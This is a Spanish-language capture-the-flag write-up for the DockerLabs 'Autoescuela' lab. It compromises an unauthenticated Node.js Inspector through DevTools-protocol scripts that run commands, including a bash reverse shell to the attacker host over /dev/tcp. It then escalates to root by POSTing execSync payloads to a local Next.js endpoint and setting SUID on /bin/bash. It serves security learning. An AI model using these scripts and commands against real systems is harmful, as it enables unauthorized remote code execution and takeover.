> For the complete documentation index, see [llms.txt](https://wolder-hackverse.gitbook.io/wolders-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wolder-hackverse.gitbook.io/wolders-docs/writeups/dockerlabs/easy/autoescuela.md).

# Autoescuela

***

## Box info

<figure><img src="/files/UaxqLNDTV1uwCVPq44oe" alt=""><figcaption></figcaption></figure>

***

## Introducción

Este writeup documenta la resolución de la máquina **Autoescuela** de la plataforma DockerLabs. El reto consiste en comprometer una aplicación web inicial, obtener acceso al sistema y escalar privilegios hasta llegar a root.

Se trata de un entorno orientado a aplicaciones web modernas basado en Node.js, Express y Next.js, donde se simulan distintas superficies de ataque y malas configuraciones típicas en entornos de desarrollo.

> 💬 Nota por el hacker: Esta máquina me ha parecido especialmente interesante y para mi gusto está muy bien diseñada. Durante su resolución he podido profundizar en el funcionamiento de los **WebSockets**, cómo interactúan con aplicaciones web modernas y de qué manera pueden convertirse en una superficie de ataque cuando están mal configurados.
>
> En particular, el reto ha sido útil para entender la exposición del **Node.js Inspector** y su impacto en entornos de desarrollo.
>
> Sin duda, es una máquina muy recomendable por la variedad de conceptos que introduce y por lo realista de los escenarios que plantea.

***

### Objetivo del reto

* Obtener acceso inicial al sistema
* Escalar privilegios hasta root

### Habilidades y técnicas evaluadas

* Enumeración de servicios web
* Análisis de superficie de ataque
* Abuso del **Node.js Inspector expuesto**
* Interacción con WebSockets (CDP)
* Ejecución remota de código (RCE)
* Reverse shell en Linux
* Enumeración interna del sistema
* Abuso de servicios locales privilegiados (Next.js)
* Escalada de privilegios por ejecución de comandos

***

## Reconocimiento

### Escaneo de puertos con nmap

Este escaneo nos permitirá identificar posibles configuraciones inseguras o vulnerabilidades connocidas en los servicios expuestos.\
De primeras no se observa vulnerabilidades o configuraciones inseguras.\
Adjunto captura del resultado que hemos obtenido:

```bash
nmap -p8080,9229 -sCV 172.17.0.2 -oN targeted
```

Donde:

* -p8080,9229 -> escanea únicamente los puertos abiertos previamente detectados
* -sC -> ejecuta scripts por defecto de NSE (Nmap Scripting Engine)
* -sV -> detecta versiones de los servicios
* -oN -> guarda el resultado en formato normal

Este escaneo permite identificar posibles configuraciones inseguras o vulnerabilidades conocidas en los servicios expuestos.

Adjunto captura del resultado:

<figure><img src="/files/Zc7ZfMEyKVqWFLHimbEh" alt=""><figcaption></figcaption></figure>

Resultados relevantes:

* 8080/tcp  -> ( http Node.js (Express middleware) )
  * Aplicación web basada en Node.js (Express), principal superficie de ataque.
* 9229/tcp -> WebSockets
  * Servicio de Node.js Inspector expuesto. Responde con *“WebSockets request was expected”.*

***

## Enumeración de la aplicación web (puerto 8080)

### Análisis de la página principal

Al acceder al puerto 8080 se observa una aplicación web de una autoescuela llamada **HackCar**.

<figure><img src="/files/GBq4uZj8LMfRbccbMzj8" alt=""><figcaption><p>Imagen página principal</p></figcaption></figure>

### Enumeración manual

* / -> Página principal
* /carnets -> Información sobre licencias
* /contacto -> Formulario de contacto

***

* /carnets

Contiene información estática sobre los permisos de conducción.\
Al pulsar “Saber más”, redirige a /contacto, indicando que este es el principal punto de interacción.

***

* /contacto&#x20;

Se identifica un formulario con entrada controlada por el usuario:

* Nombre
* Email
* Mensaje

Esto lo convierte en un posible vector de ataque.

<figure><img src="/files/4JXze4Z49Zv3Lf8Ts14N" alt="" width="321"><figcaption><p>Formulario web</p></figcaption></figure>

***

## Enumeración de la aplicación web (Puerto 9229)

Al acceder al puerto 9229 desde el navegador, el servidor responde con el mensaje:

**"WebSockets request was expected" (**&#x4E;o es HTTP → requiere WebSocke&#x74;**)**

<figure><img src="/files/MCpmoLmUCgbRBkTqbuHw" alt=""><figcaption><p>Captura del mensaje</p></figcaption></figure>

El puerto 9229 no acepta peticiones HTTP tradicionales, sino conexiones WebSocket, ya que corresponde al Node.js Inspector. Por ello, es necesario interactuar con él utilizando el protocolo adecuado.

### Fuzzing endpoints WebSocket

En este punto se emplea la herramienta **gobuster** para fuzzear posibles endpoints del WebSocket:

```bash
gobuster dir -u http://172.17.0.2:9229/ -w /usr/share/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt --exclude-length 33
...
...
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
json                 (Status: 200) [Size: 679]
JSON                 (Status: 200) [Size: 679]
Progress: 1985013 / 1985013 (100.00%)
===============================================================
Finished
===============================================================
```

### Enumeración del inspector

```bash
curl http://172.17.0.2:9229/json/list
[ {
  "description": "node.js instance",
  "devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a",
  "devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a",
  "faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
  "id": "a3427b87-3ca2-471e-80fb-bd243d41734a",
  "title": "/home/webuser/node_app/app.js",
  "type": "node",
  "url": "file:///home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a"
} ]
```

Este endpoint revela:

* UUID de sesión activa
* Ruta del código fuente (`app.js)`
  * `/home/webuser/node_app/app.js`
* Endpoint WebSocket del debugger&#x20;
  * `ws://172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a`

También se observa que el **Node.js Inspector está expuesto sin autenticación...**

### Monitorización del backend en tiempo real

Se establece conexión al WebSocket empleando el comando **wscat:**&#x20;

```bash
wscat -c ws://172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a
Connected (press CTRL+C to quit)
```

Se habilita el runtime:

```json
{"id":1,"method":"Runtime.enable"}
```

#### Revisiones

Se observa que al enviar un formulario de la web por el puerto 8080 en `/contacto`, se recibe el siguiente mensaje:

```json
{
  "method": "Runtime.consoleAPICalled",
  "params": {
    "args": [
      {
        "value": "Mensaje recibido de test (test@test.com): test"
      }
    ]
  }
}
```

(El mensaje esta modificado para que se vea mejor)

***

## Explicación explotación - RCE vía Node.js Inspector

Una vez identificado el endpoint del inspector, se utiliza el protocolo **CDP** para ejecutar código.

Para la ejecución de código se emplea el siguiente script en JavaScript:

```javascript
const WebSocket = require('./node_modules/ws');
const ws = new WebSocket('ws://172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a');
ws.on('open', () => {
  const cmd = 'id';
  const expr = `process.mainModule.require('child_process').execSync('${cmd}').toString()`;
  ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: { 
      expression: expr,
      includeCommandLineAPI: true
    }
  }));
});
ws.on('message', (d) => console.log(JSON.stringify(JSON.parse(d), null, 2)));
ws.on('error', (e) => console.error(e));
```

<figure><img src="/files/jscjqwNDiNxf1SYj0wHp" alt=""><figcaption><p>Captura respuesta del servidor</p></figcaption></figure>

***

## Acceso inicial como webuser

Una vez confirmada la capacidad de ejecución remota de comandos a través del **Node.js Inspector**, se procede a obtener una reverse shell hacia la máquina atacante.

### Explotación - RCE vía Node.js Inspector

Se utiliza el siguiente script en Node.js para interactuar con el WebSocket del inspector y ejecutar comandos en el sistema:

```javascript
const WebSocket = require('./node_modules/ws');
const ws = new WebSocket('ws://172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a');
ws.on('open', () => {
  const cmd = 'bash -c "bash -i >& /dev/tcp/172.17.0.1/4646 0>&1"';
  const expr = `process.mainModule.require('child_process').execSync('${cmd}').toString()`;
  ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: { 
      expression: expr,
      includeCommandLineAPI: true
    }
  }));
});
ws.on('message', (d) => console.log(JSON.stringify(JSON.parse(d), null, 2)));
ws.on('error', (e) => console.error(e));
```

Desde la máquina atacante se pone en escucha por el puerto 4646 y se ejecuta el script js.

Se obtiene una reverse shell en el sistema con el usuario (webuser):

<figure><img src="/files/7EkTnxPAMNGE08osf6MI" alt=""><figcaption></figcaption></figure>

### Mejora de la TTY

Para estabilizar la shell y obtener una terminal completamente interactiva, se realiza el siguiente tratamiento:

```
1. script /dev/null -c bash
2. ctrl + z
3. stty raw -echo; fg # Máquina atacante
4. reset xterm
5. export TERM=xterm; export SHELL=/bin/bash
6. stty rows 51 columns 235
```

Se obtiene una shell completamente interactiva, con control de terminal y comportamiento estable.

***

## Enumeración sistema

Enumerando procesos con ps auxf se descubre un servidor Next.js 15.0.0-rc.1 corriendo como root en 127.0.0.1:3000.

<figure><img src="/files/DxlTvdRXLDwgCGjWaijp" alt=""><figcaption></figcaption></figure>

### Análisis del servicio Next.js 15.0.0-rc.1

Se identifica un servicio **Next.js 15.0.0-rc.1** ejecutándose como **root** en `127.0.0.1:3000`, accesible únicamente de forma interna dentro del sistema.

Al revisar el código fuente en `/root/react_app/app/route.ts`, se observa un endpoint POST que procesa datos de la petición y busca patrones que contengan `execSync('...')`.

Si se detecta dicho patrón, el servidor extrae el comando incluido y lo ejecuta directamente en el sistema mediante `execAsync()`.

Esto permite la **ejecución arbitraria de comandos como root**, ya que no existe ningún tipo de validación o sanitización sobre la entrada.

***

## Escalada de Privilegios

### Explotación del endpoint

Se envía una petición POST al servicio local con el siguiente comando:

```bash
curl -s -X POST http://127.0.0.1:3000/ \
  -H "Content-Type: text/plain" \
  --data "execSync('id')"
```

* Resultado:

<figure><img src="/files/YFYVnx5IrkHQ11yyez5C" alt=""><figcaption></figcaption></figure>

Para obtener acceso como el usuario root, se ejecuta el siguiente comando:

```
curl -s -X POST http://127.0.0.1:3000/ \
  -H "Content-Type: text/plain" \
  --data "execSync('chmod u+s /bin/bash')"; echo
```

* Resultado:

<figure><img src="/files/oN8frFn1yJOTmuIeqA96" alt=""><figcaption></figcaption></figure>

***

## Acceso usuario root + flag

Se ejecuta el comando bash con privilegios:

```
bash -p
```

Resultado + flag:

<figure><img src="/files/b7xB6c9uXVPNcRoRHxaF" alt=""><figcaption></figcaption></figure>

***

## Conclusión técnica

El compromiso de la máquina se basa en una cadena de misconfiguraciones en servicios Node.js modernos:

* Exposición del Node.js Inspector sin autenticación
* Ejecución remota de código mediante CDP
* Acceso inicial al sistema como usuario web
* Servicio interno Next.js ejecutándose como root
* Endpoint vulnerable a ejecución de comandos
* Escalada completa a root

## Impacto

La máquina demuestra cómo la exposición de herramientas de debugging en entornos Node.js puede derivar en:

* Ejecución remota de código
* Compromiso inicial del sistema
* Escalada total a root
